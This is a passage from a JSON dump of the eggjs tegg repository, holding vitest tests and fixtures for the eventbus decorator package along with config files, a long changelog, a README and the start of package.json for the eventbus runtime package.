    "content": "import { expect, test } from 'vitest';\n\nimport { EventInfoUtil } from '../src/index.ts';\nimport { EmptyHandler } from './fixtures/empty-handle.ts';\nimport { EventContextHandler } from './fixtures/event-handle-with-context.ts';\nimport { MultiHandler } from './fixtures/multiple-events-handle.ts';\nimport { FooHandler } from './fixtures/right-event-handle.ts';\n\ntest('getEventName should work', () => {\n  expect(EventInfoUtil.getEventName(FooHandler)).toBe('foo');\n  expect(EventInfoUtil.getEventName(EmptyHandler)).toBeUndefined();\n});\n\ntest('getEventNameList should work', function () {\n  const event = EventInfoUtil.getEventName(MultiHandler);\n  expect(event).toBe('hello');\n  const eventList = EventInfoUtil.getEventNameList(MultiHandler);\n  expect(eventList).toEqual(['hi', 'hello']);\n});\n\ntest('setEventName should work', function () {\n  EventInfoUtil.setEventName('foo', EmptyHandler);\n  expect(EventInfoUtil.getEventName(EmptyHandler)).toBe('foo');\n  EventInfoUtil.setEventName('bar', EmptyHandler);\n  expect(EventInfoUtil.getEventName(EmptyHandler)).toBe('bar');\n});\n\ntest('getEventHandlerContextInject', function () {\n  expect(EventInfoUtil.getEventHandlerContextInject(EventContextHandler)).toBe(true);\n  expect(EventInfoUtil.getEventHandlerContextInject(FooHandler)).toBe(false);\n});\n"
  },
  {
    "path": "tegg/core/eventbus-decorator/test/__snapshots__/index.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should export stable 1`] = `\n{\n  \"CORK_ID\": Symbol(eventBus#corkId),\n  \"EVENT_CONTEXT_INJECT\": Symbol(EggPrototype#event#handler#context#inject),\n  \"EVENT_NAME\": Symbol(EggPrototype#eventName),\n  \"Event\": [Function],\n  \"EventContext\": [Function],\n  \"EventInfoUtil\": [Function],\n}\n`;\n"
  },
  {
    "path": "tegg/core/eventbus-decorator/test/fixtures/empty-handle.ts",
    "content": "export class EmptyHandler {}\n"
  },
  {
    "path": "tegg/core/eventbus-decorator/test/fixtures/event-handle-with-context.ts",
    "content": "import { Inject, SingletonProto } from '@eggjs/core-decorator';\n\nimport { EventBus, Event, IEventContext, EventContext } from '../../src/index.ts';\n\ndeclare module '@eggjs/tegg' {\n  interface Events {\n    ctxEvent: (msg: string) => void;\n  }\n}\n\n@SingletonProto()\nexport class EventContextProducer {\n  @Inject()\n  private readonly eventBus: EventBus;\n\n  trigger() {\n    this.eventBus.emit('ctxEvent', 'hello');\n  }\n}\n\n@Event('ctxEvent')\nexport class EventContextHandler {\n  handle(@EventContext() ctx: IEventContext, msg: string): void {\n    console.log('ctx: ', ctx);\n    console.log('msg: ', msg);\n  }\n}\n"
  },
  {
    "path": "tegg/core/eventbus-decorator/test/fixtures/multiple-events-handle.ts",
    "content": "import { Inject, SingletonProto } from '@eggjs/core-decorator';\n\nimport { type EventBus, Event } from '../../src/index.ts';\n\ndeclare module '@eggjs/tegg' {\n  interface Events {\n    hello: (msg: string) => void;\n    hi: (msg: string) => void;\n  }\n}\n\n@SingletonProto()\nexport class MultiProducer {\n  @Inject()\n  private readonly eventBus: EventBus;\n\n  trigger() {\n    this.eventBus.emit('hello', 'Ydream');\n  }\n}\n\n@Event('hello')\n@Event('hi')\nexport class MultiHandler {\n  handle(msg: string): void {\n    console.log('msg: ', msg);\n  }\n}\n"
  },
  {
    "path": "tegg/core/eventbus-decorator/test/fixtures/right-event-handle.ts",
    "content": "import { Inject, SingletonProto } from '@eggjs/core-decorator';\n\nimport { EventBus, Event } from '../../src/index.ts';\n\ndeclare module '@eggjs/tegg' {\n  interface Events {\n    foo: (msg: string) => void;\n  }\n}\n\n@SingletonProto()\nexport class FooProducer {\n  @Inject()\n  private readonly eventBus: EventBus;\n\n  trigger() {\n    this.eventBus.emit('foo', 'hello');\n  }\n}\n\n@Event('foo')\nexport class FooHandler {\n  handle(msg: string): void {\n    console.log('msg: ', msg);\n  }\n}\n"
  },
  {
    "path": "tegg/core/eventbus-decorator/test/fixtures/wrong-event-handle.ts",
    "content": "import { Inject, SingletonProto } from '@eggjs/core-decorator';\n\nimport { EventBus, Event } from '../../src/index.ts';\n\ndeclare module '@eggjs/tegg' {\n  interface Events {\n    bar: (msg: number) => void;\n  }\n}\n\n@SingletonProto()\nexport class BarProducer {\n  @Inject()\n  private readonly eventBus: EventBus;\n\n  trigger() {\n    this.eventBus.emit('bar', 'hello');\n  }\n}\n\n@Event('bar')\nexport class BarHandler {\n  handle(msg: string): void {\n    console.log('msg: ', msg);\n  }\n}\n"
  },
  {
    "path": "tegg/core/eventbus-decorator/test/index.test.ts",
    "content": "import { expect, test } from 'vitest';\n\nimport * as exports from '../src/index.ts';\n\ntest('should export stable', async () => {\n  expect(exports).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/eventbus-decorator/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\",\n  \"exclude\": [\"test\", \"*.config.ts\"]\n}\n"
  },
  {
    "path": "tegg/core/eventbus-decorator/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "tegg/core/eventbus-runtime/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n\n### Features\n\n* **core/types:** change to esm ([#263](https://github.com/eggjs/tegg/issues/263)) ([6ee4dad](https://github.com/eggjs/tegg/commit/6ee4dadcee4b90541b4d3fcd37161ed63960c7bd))\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.32.0](https://github.com/eggjs/tegg/compare/v3.31.0...v3.32.0) (2024-02-19)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.31.0](https://github.com/eggjs/tegg/compare/v3.30.1...v3.31.0) (2024-01-31)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.30.1](https://github.com/eggjs/tegg/compare/v3.30.0...v3.30.1) (2024-01-25)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.30.0](https://github.com/eggjs/tegg/compare/v3.29.0...v3.30.0) (2024-01-17)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.29.0](https://github.com/eggjs/tegg/compare/v3.28.2...v3.29.0) (2023-12-26)\n\n\n### Features\n\n* allow a handler to subscribe to multiple events ([#179](https://github.com/eggjs/tegg/issues/179)) ([1d460a5](https://github.com/eggjs/tegg/commit/1d460a5a6bdcf9a3d61b13d3527633c8b990a38c))\n\n\n\n\n\n## [3.28.2](https://github.com/eggjs/tegg/compare/v3.28.1...v3.28.2) (2023-12-12)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.28.1](https://github.com/eggjs/tegg/compare/v3.28.0...v3.28.1) (2023-12-11)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.28.0](https://github.com/eggjs/tegg/compare/v3.27.0...v3.28.0) (2023-12-10)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.27.0](https://github.com/eggjs/tegg/compare/v3.26.0...v3.27.0) (2023-11-23)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.25.2](https://github.com/eggjs/tegg/compare/v3.25.1...v3.25.2) (2023-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.25.1](https://github.com/eggjs/tegg/compare/v3.25.0...v3.25.1) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.25.0](https://github.com/eggjs/tegg/compare/v3.24.0...v3.25.0) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.24.0](https://github.com/eggjs/tegg/compare/v3.23.0...v3.24.0) (2023-10-26)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.23.0](https://github.com/eggjs/tegg/compare/v3.22.0...v3.23.0) (2023-09-20)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.20.0](https://github.com/eggjs/tegg/compare/v3.19.0...v3.20.0) (2023-09-07)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.19.0](https://github.com/eggjs/tegg/compare/v3.18.1...v3.19.0) (2023-08-31)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.18.1](https://github.com/eggjs/tegg/compare/v3.18.0...v3.18.1) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.18.0](https://github.com/eggjs/tegg/compare/v3.17.0...v3.18.0) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.17.0](https://github.com/eggjs/tegg/compare/v3.16.0...v3.17.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.16.0](https://github.com/eggjs/tegg/compare/v3.15.0...v3.16.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.14.3](https://github.com/eggjs/tegg/compare/v3.14.2...v3.14.3) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.14.2](https://github.com/eggjs/tegg/compare/v3.14.1...v3.14.2) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.14.1](https://github.com/eggjs/tegg/compare/v3.14.0...v3.14.1) (2023-08-11)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.14.0](https://github.com/eggjs/tegg/compare/v3.13.0...v3.14.0) (2023-07-31)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.13.0](https://github.com/eggjs/tegg/compare/v3.12.0...v3.13.0) (2023-07-25)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.12.0](https://github.com/eggjs/tegg/compare/v3.11.1...v3.12.0) (2023-07-13)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.11.1](https://github.com/eggjs/tegg/compare/v3.11.0...v3.11.1) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.11.0](https://github.com/eggjs/tegg/compare/v3.10.0...v3.11.0) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.10.0](https://github.com/eggjs/tegg/compare/v3.9.0...v3.10.0) (2023-06-28)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.8.0](https://github.com/eggjs/tegg/compare/v3.7.0...v3.8.0) (2023-05-30)\n\n\n### Features\n\n* impl EggObjectLifecycle hook in decorator ([#119](https://github.com/eggjs/tegg/issues/119)) ([cced8a2](https://github.com/eggjs/tegg/commit/cced8a2e009c33d5040fa21d00409fddef471b0e))\n\n\n\n\n\n# [3.7.0](https://github.com/eggjs/tegg/compare/v3.6.3...v3.7.0) (2023-04-03)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.6.3](https://github.com/eggjs/tegg/compare/v3.6.2...v3.6.3) (2023-03-02)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.5.2](https://github.com/eggjs/tegg/compare/v3.5.1...v3.5.2) (2023-02-10)\n\n\n### Bug Fixes\n\n* eventbus cork should support reentry ([#98](https://github.com/eggjs/tegg/issues/98)) ([077044c](https://github.com/eggjs/tegg/commit/077044c040f8423572605eb2980e3cc6da8c038e))\n\n\n\n\n\n# [3.5.0](https://github.com/eggjs/tegg/compare/v3.4.1...v3.5.0) (2023-02-10)\n\n\n### Features\n\n* use SingletonProto for egg ctx object ([#92](https://github.com/eggjs/tegg/issues/92)) ([3385d57](https://github.com/eggjs/tegg/commit/3385d571b076d3148978f252188f29d9cf2c6781))\n\n\n\n\n\n## [3.3.1](https://github.com/eggjs/tegg/compare/v3.3.0...v3.3.1) (2023-01-28)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.2.3](https://github.com/eggjs/tegg/compare/v3.2.2...v3.2.3) (2023-01-16)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.2.2](https://github.com/eggjs/tegg/compare/v3.2.1...v3.2.2) (2023-01-06)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n## [3.2.1](https://github.com/eggjs/tegg/compare/v3.2.0...v3.2.1) (2022-12-28)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.1.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.1.0) (2022-12-27)\n\n\n### Bug Fixes\n\n* eventbus runtime should wait all handlers done ([#51](https://github.com/eggjs/tegg/issues/51)) ([0651d30](https://github.com/eggjs/tegg/commit/0651d300f9a18bd97299548f3ebccad1d0382d28))\n* fix events type from any to keyof Events ([#54](https://github.com/eggjs/tegg/issues/54)) ([a2551b2](https://github.com/eggjs/tegg/commit/a2551b2d9f9eabf9ed5c87f83489615eefa3e6d1))\n* inject context proto to singleton proto ([#72](https://github.com/eggjs/tegg/issues/72)) ([fcc0b2b](https://github.com/eggjs/tegg/commit/fcc0b2b48fc9bce580c1f2bcfcc38039ae909951))\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n* implement cork/uncork for eventbus ([#60](https://github.com/eggjs/tegg/issues/60)) ([38114bd](https://github.com/eggjs/tegg/commit/38114bd7ea3b46cc4a79556a005ef18b2ae11ec2))\n\n\n\n\n\n# [3.0.0](https://github.com/eggjs/tegg/compare/v3.0.0-alpha.0...v3.0.0) (2022-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [3.0.0-alpha.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.0.0-alpha.0) (2022-12-22)\n\n\n### Bug Fixes\n\n* eventbus runtime should wait all handlers done ([#51](https://github.com/eggjs/tegg/issues/51)) ([0651d30](https://github.com/eggjs/tegg/commit/0651d300f9a18bd97299548f3ebccad1d0382d28))\n* fix events type from any to keyof Events ([#54](https://github.com/eggjs/tegg/issues/54)) ([a2551b2](https://github.com/eggjs/tegg/commit/a2551b2d9f9eabf9ed5c87f83489615eefa3e6d1))\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n* implement cork/uncork for eventbus ([#60](https://github.com/eggjs/tegg/issues/60)) ([38114bd](https://github.com/eggjs/tegg/commit/38114bd7ea3b46cc4a79556a005ef18b2ae11ec2))\n\n\n\n\n\n## [1.4.1](https://github.com/eggjs/tegg/compare/@eggjs/tegg-eventbus-runtime@1.4.0...@eggjs/tegg-eventbus-runtime@1.4.1) (2022-09-04)\n\n\n### Bug Fixes\n\n* fix events type from any to keyof Events ([#54](https://github.com/eggjs/tegg/issues/54)) ([a2551b2](https://github.com/eggjs/tegg/commit/a2551b2d9f9eabf9ed5c87f83489615eefa3e6d1))\n\n\n\n\n\n# 1.4.0 (2022-08-24)\n\n\n### Bug Fixes\n\n* eventbus runtime should wait all handlers done ([#51](https://github.com/eggjs/tegg/issues/51)) ([0651d30](https://github.com/eggjs/tegg/commit/0651d300f9a18bd97299548f3ebccad1d0382d28))\n\n\n\n# 1.3.0 (2022-07-01)\n\n\n\n# 1.2.0 (2022-06-29)\n\n\n\n## 1.1.1 (2022-06-21)\n\n\n\n# 1.1.0 (2022-06-15)\n\n\n\n## 1.0.5 (2022-04-24)\n\n\n\n## 1.0.1 (2022-02-08)\n\n\n\n# 1.0.0 (2022-02-08)\n\n\n\n# 0.2.0 (2022-01-20)\n\n\n\n## 0.1.19 (2022-01-05)\n\n\n\n## 0.1.18 (2021-12-31)\n\n\n\n## 0.1.16 (2021-12-15)\n\n\n\n## 0.1.13 (2021-11-14)\n\n\n### Features\n\n* impl standalone tegg ([af9f682](https://github.com/eggjs/tegg/commit/af9f6826ef882ef7206e80ee25433a2b19012995))\n\n\n\n## 0.1.10 (2021-10-26)\n\n\n\n## 0.1.7 (2021-09-13)\n\n\n\n## 0.1.6 (2021-09-09)\n\n\n\n## 0.1.5 (2021-09-08)\n\n\n\n## 0.1.2 (2021-09-01)\n\n\n### Features\n\n* impl dynamic inject ([bdafd5a](https://github.com/eggjs/tegg/commit/bdafd5a445b815515fc9e872fcfefc67a53ea562))\n\n\n\n# 0.1.0 (2021-07-22)\n\n\n### Bug Fixes\n\n* set publishConfig.access to public ([527f1fa](https://github.com/eggjs/tegg/commit/527f1fa8e3bcaf45ff5b3a63d90473d4a6a2e2b0))\n\n\n\n\n\n# [1.3.0](https://github.com/eggjs/tegg/compare/v1.2.0...v1.3.0) (2022-07-01)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n\n\n\n\n\n# [0.2.0](https://github.com/eggjs/tegg/compare/v0.1.19...v0.2.0) (2022-01-20)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-runtime\n"
  },
  {
    "path": "tegg/core/eventbus-runtime/README.md",
    "content": "# `@eggjs/eventbus-runtime`\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/eventbus-runtime.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/eventbus-runtime.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/eventbus-runtime\n[snyk-image]: https://snyk.io/test/npm/@eggjs/eventbus-runtime/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/eventbus-runtime\n[download-image]: https://img.shields.io/npm/dm/@eggjs/eventbus-runtime.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/eventbus-runtime\n\n# Usage\n\nThis is an internal tegg library, you probably shouldn't use it directly.\n"
  },
  {
    "path": "tegg/core/eventbus-runtime/package.json",
    "content": "{\n  \"name\": \"@eggjs/eventbus-runtime\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"tegg eventbus runtime\",\n  \"keywords\": [\n    \"egg\",\n    \"eventbus\",\n    \"eventemitter\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/core/eventbus-runtime\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"killagu <killa123@126.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/core/eventbus-runtime\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  